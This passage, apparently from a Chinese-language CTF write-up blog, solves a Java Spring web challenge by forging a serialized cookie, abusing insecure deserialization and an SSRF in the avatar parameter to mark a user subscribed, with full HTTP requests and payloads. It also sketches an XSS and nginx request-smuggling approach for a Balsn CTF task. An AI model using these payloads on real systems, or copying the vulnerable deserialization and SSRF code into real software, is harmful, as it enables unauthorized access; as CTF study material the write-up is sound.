public void refresh(String session) throws Exception {
    byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
    ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
    ObjectInputStream ois = new Security(bis);
    Object o = ois.readObject();
    com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;

    Cached cached = new Cached(
            obj.getId().toString(),
            o);

    cachedService.save(cached);
}

大致就是这几个点, 然后再整个贴一下 User 和 Coupon 相关的 Controller 和 Service

UserController

package com.app.controllers;

import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.time.Duration;

import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseCookie;
import org.springframework.http.ResponseEntity;

import com.app.entities.User;
import com.app.services.UserService;
import com.app.utils.ExceptionHandlers;
import com.app.utils.Flag;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.validation.Valid;

@RestController
@CrossOrigin(originPatterns = "*", allowCredentials = "true", allowedHeaders = "*", methods = {
		RequestMethod.GET, RequestMethod.POST, RequestMethod.PUT, RequestMethod.DELETE, RequestMethod.OPTIONS })
@RequestMapping("/api/user")
public class UserController extends ExceptionHandlers {
	private UserService userService;

	public UserController(UserService userService) {
		super();
		this.userService = userService;
	}

	@GetMapping("")
	public ResponseEntity<User> get(
			HttpServletRequest request) throws Exception {
		String session = getSession(request);
		User user = userService.getUserBySession(session);
		if (user == null) {
			return null;
		}
		user.setPassword(null);
		return new ResponseEntity<>(user, HttpStatus.OK);
	}

	@GetMapping("/flag")
	public ResponseEntity<String> getFlag(
			HttpServletRequest request) throws Exception {
		String flag = "You need to subscribe to get the flag.";
		String session = getSession(request);
		User user = userService.getUserBySession(session);
		if (user == null) {
			return new ResponseEntity<>(flag, HttpStatus.OK);
		}
		if (user.getSubscribed()) {
			flag = new Flag().getFlag();
		}
		return new ResponseEntity<>(flag, HttpStatus.OK);
	}

	@PostMapping("/logout")
	public void logout(
			HttpServletResponse response) throws Exception {
		ResponseCookie cookie = ResponseCookie.from("user", "")
				.maxAge(Duration.ofSeconds(0))
				.path("/")
				.build();
		response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
	}

	@PostMapping("register")
	public void register(
			@Valid @RequestBody User user,
			@RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {

		try {
			String avatar = userService.getAvatar(avatarProvider, user.getUsername());
			user.setAvatar(avatar);
		} catch (Exception e) {
		}
		userService.register(user);
	}

	@PostMapping("login")
	public ResponseEntity<User> register(
			@Valid @RequestBody User user,
			HttpServletResponse response) throws Exception {
		User newUser = userService.login(user, response);
		newUser.setPassword(null);
		return new ResponseEntity<>(newUser, HttpStatus.CREATED);
	}

	@PostMapping("refresh")
	public void refresh(HttpServletRequest request) throws Exception {
		Cookie[] cookies = request.getCookies();

		Cookie userCookie = null;
		for (Cookie cookie : cookies) {
			if (cookie.getName().equals("user")) {
				userCookie = cookie;
				break;
			}
		}
		userService.refresh(userCookie.getValue());
	}

	private String getSession(HttpServletRequest request) {
		Cookie[] cookies = request.getCookies();

		Cookie userCookie = null;
		if (cookies != null) {
			for (Cookie cookie : cookies) {
				if (cookie.getName().equals("user")) {
					userCookie = cookie;
					break;
				}
			}
		}

		if (userCookie == null)
			return null;

		return userCookie.getValue();
	}
}

CouponController

package com.app.controllers;

import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.net.InetAddress;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;

import com.app.caching.Coupon;
import com.app.services.CouponService;
import com.app.utils.ExceptionHandlers;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.validation.Valid;

@RestController
@CrossOrigin()
@RequestMapping("/api/coupon")
public class CouponController extends ExceptionHandlers {
    private CouponService couponService;

    public CouponController(CouponService couponService) {
        super();
        this.couponService = couponService;
    }

    @RequestMapping("/{id}")
    public ResponseEntity<Coupon> get(
            @PathVariable("id") String id,
            HttpServletRequest request) {
        validateOrigin(request);
        Coupon todo = couponService.getCouponById(id);
        return new ResponseEntity<>(todo, HttpStatus.OK);
    }

    @RequestMapping("/generate/{code}")
    public ResponseEntity<Coupon> create(
            @Valid @PathVariable String code,
            HttpServletRequest request) throws Exception {
        validateOrigin(request);
        Coupon newCoupon = couponService.createCoupons(code);
        return new ResponseEntity<>(newCoupon, HttpStatus.CREATED);
    }

    @RequestMapping("/use/{id}")
    public void create(
            @Valid @PathVariable String id,
            @RequestParam(value = "userId", defaultValue = "0") String userId,
            HttpServletRequest request) throws Exception {
        validateOrigin(request);
        couponService.useCoupon(id, userId);
    }

    private void validateOrigin(HttpServletRequest request) {
        try {

            InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
            String uri = requestAddress.toString().split("/")[1];

            boolean isLocalhost = uri.equals("127.0.0.1");

            if (isLocalhost) {
                return;
            } else {
                throw new Exception("Not allowed");
            }
        } catch (Exception e) {
            System.out.println(e);
            throw new RuntimeException(e);
        }

    }
}

UserServiceImpl

package com.app.services;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

import com.app.caching.Cached;
import com.app.entities.User;
import com.app.exceptions.ResourceNotFoundException;
import com.app.repositories.UserRepository;
import com.app.services.Security;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;

import java.net.HttpURLConnection;
import java.net.URL;

@Service
public class UserServiceImpl implements UserService {

    private UserRepository userRepository;

    @Autowired
    private CachedService cachedService;

    @Bean
    public PasswordEncoder encoder() {
        return new BCryptPasswordEncoder();
    }

    public UserServiceImpl(UserRepository userRepository) {
        super();
        this.userRepository = userRepository;
    }

    @Override
    public User getUserById(String id) {
        Long longId = Long.parseLong(id);
        User existingUser = userRepository
                .findById(longId)
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + id));
        return existingUser;
    }

    @Override
    public User getUserBySession(String session) throws Exception {
        if (session == null) {
            return null;
        }
        try {
            byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
            ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
            ObjectInputStream ois = new Security(bis);
            Object o = ois.readObject();
            com.app.caching.User obj = (com.app.caching.User) o;
            return getUserById(obj.getId());
        } catch (Exception e) {
            return null;
        }
    }

    @Override
    public String getAvatar(String provider, String username) throws Exception {
        String avatarUrl = "http://%s/api/%s";
        avatarUrl = String.format(avatarUrl, provider, username);
        try {
            URL url = new URL(avatarUrl);
            HttpURLConnection con = (HttpURLConnection) url.openConnection();
            con.setRequestMethod("GET");
            InputStream inputStream = con.getInputStream();
            byte[] bytes = inputStream.readAllBytes();
            byte[] encoded = Base64.getEncoder().encode(bytes);
            String encodedString = new String(encoded);

            if (encodedString.length() == 0)
                return avatarUrl;
            return encodedString;
        } catch (Exception e) {
            e.printStackTrace();
            throw new Exception(e.getMessage());
        }
    }

    @Override
    public void register(User user) throws Exception {
        user.setPassword(encoder().encode(user.getPassword()));
        List<User> existing = userRepository.findByUsername(user.getUsername());

        if (existing.size() > 0) {
            throw new Exception("User already exists");
        }

        User created = new User();
        created.setUsername(user.getUsername());
        created.setPassword(user.getPassword());
        created.setAvatar(user.getAvatar());
        userRepository.save(created);
    }

    @Override
    public User login(User user, HttpServletResponse response) throws Exception {
        List<User> existing = userRepository.findByUsername(user.getUsername());

        if (existing.size() == 0) {
            throw new Exception("User does not exist");
        }

        User created = existing.get(0);

        if (!encoder().matches(user.getPassword(), created.getPassword())) {
            throw new Exception("Password is incorrect");
        }

        com.app.caching.User object = new com.app.caching.User(
                created.getId().toString(),
                created.getUsername(),
                created.getAvatar());

        Cached cached = new Cached(
                "user:" + created.getId().toString(),
                object);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        byte[] bytes = baos.toByteArray();
        byte[] encoded = Base64.getEncoder().encode(bytes);
        String encodedString = new String(encoded);
        Cookie cookie = new Cookie("user", encodedString);
        cookie.setPath("/");
        response.addCookie(cookie);
        cachedService.save(cached);
        return created;
    }

    @Override
    public void refresh(String session) throws Exception {
        byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
        ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
        ObjectInputStream ois = new Security(bis);
        Object o = ois.readObject();
        com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;

        Cached cached = new Cached(
                obj.getId().toString(),
                o);

        cachedService.save(cached);
    }

    @Override
    public User updateUser(User user) {
        User existingUser = userRepository
                .findById(user.getId())
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + user.getId()));

        if (user.getUsername() != null)
            existingUser.setUsername(user.getUsername());
        if (user.getPassword() != null)
            existingUser.setPassword(encoder().encode(user.getPassword()));

        return userRepository.save(existingUser);
    }

    @Override
    public User deleteUser(Long id) {
        User existingUser = userRepository
                .findById(id)
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + id));
        userRepository.delete(existingUser);
        return existingUser;
    }
}

CouponServiceImpl

package com.app.services;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;

import com.app.caching.Cached;
import com.app.caching.Coupon;
import com.app.entities.User;

@Repository
public class CouponServiceImpl implements CouponService {

    @Autowired
    private CachedService cachedService;

    @Autowired
    private UserService userService;

    @Override
    public Coupon getCouponById(String id) {
        Cached cached = cachedService.one("coupon:" + id);
        if (cached == null) {
            return null;
        }
        return (Coupon) cached.getValue();
    }

    @Override
    public Coupon createCoupons(String code) throws Exception {

        Coupon existing = getCouponById(code);

        if (existing != null) {
            throw new Exception("Coupon already exists");
        }

        Coupon coupon = new Coupon(code, code);
        cachedService.save(new Cached("coupon:" + coupon.getId(), coupon));
        return coupon;
    }

    @Override
    public void useCoupon(String id, String userId) throws Exception {
        User u = userService.getUserById(userId);
        if (u == null) {
            throw new Exception("User not found");
        }

        Coupon coupon = getCouponById(id);

        if (coupon == null) {
            throw new Exception("Coupon not found");
        }

        if (!coupon.getIsValid()) {
            throw new Exception("Coupon is not valid");
        }

        u.setSubscribed(true);

        userService.updateUser(u);
    }
}

CacheServiceImpl

package com.app.services;

import java.util.ArrayList;
import java.util.List;

import org.springframework.data.redis.core.HashOperations;
import org.springframework.stereotype.Repository;

import com.app.caching.Cached;

import jakarta.annotation.Resource;

@Repository
public class CachedServiceImpl implements CachedService {

    private final String hashReference = "Cached";

    @Resource(name = "redisTemplate")
    private HashOperations<String, String, Cached> hashOperations;

    @Override
    public void save(Cached cached) {
        hashOperations.put(cached.getId(), hashReference, cached);
    }

    @Override
    public Cached one(String id) {
        return hashOperations.get(id, hashReference);
    }
}

另外题目中存在一些 Bean, 关系如下

image-20231124134028472

其实也没啥好说的, 理清楚各个功能之间的关系就行

首先注册一个用户, 拿到该用户的 ID, 然后以这个 ID 构造一个 Coupon, 通过 refresh 路由反序列化 Cookie, 将 Coupon 存入 Redis

然后通过 SSRF 使用该 Coupon, 将该用户的 subscribe 属性设置为 true, 最后访问 flag 路由即可拿到 flag

构造 Coupon

package com.app;

import com.app.caching.Coupon;
import com.app.caching.User;

import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws Exception {
        Coupon coupon = new Coupon("coupon:2", "2");
        coupon.setValid(true);

        byte[] data1 = Serialization.serialize(coupon);
        System.out.println(Base64.getEncoder().encodeToString(data1));

        User user = new User("1", "test", "123");
        byte[] data2 = Serialization.serialize(user);
        System.out.println(Base64.getEncoder().encodeToString(data2));
    }
}

注册

POST /api/user/register HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

refresh

POST /api/user/refresh HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABZjb20uYXBwLmNhY2hpbmcuQ291cG9uAAAAAAAAAAECAAJaAAdpc1ZhbGlkTAAEY29kZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAhjb3Vwb246MgF0AAEy;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

SSRF

POST /api/user/register?avatar=127.0.0.1:9000/api/coupon/use/2?userId=1%26?x= HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

get flag

GET /api/user/flag HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABRjb20uYXBwLmNhY2hpbmcuVXNlcgAAAAAAAAABAgACTAAGYXZhdGFydAASTGphdmEvbGFuZy9TdHJpbmc7TAAIdXNlcm5hbWVxAH4AAXhyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAExdAA0ZXlKcFpDSTZJakVpTENKamIyUmxJam9pTVNJc0ltbHpWbUZzYVdRaU9tWmhiSE5sZlE9PXQABHRlc3Q=;
Connection: close

revenge *

题目来源于 Balsn CTF 2023 1linenginx

https://gist.github.com/arkark/32e1a0386360fe5ce7d63e141a74d7b9

XSS

http://10.4.96.121:8080/?q=,&msg=<script>alert(0)</script>

思路是通过 PostgreSQL 注入写文件, 然后配合 nginx 请求走私构造 XSS 拿到 proxy.local 中的 cookie (flag)

不过听说还有个更简单的解法, 虽然 cookie 的 Domain 为 proxy.local, 但是实际上这个 Domain 不区分端口, 所以使用 proxy.local:8080 就能访问到最开始的 flask 网站, 配合 XSS 直接就可以拿到 flag

有时间再复现

messydriver *

有时间再复现


Edit page
Share this post on:

Previous Post
2023 京麒 CTF ez_oracle Writeup
Next Post
2023 鹏城杯 Web Writeup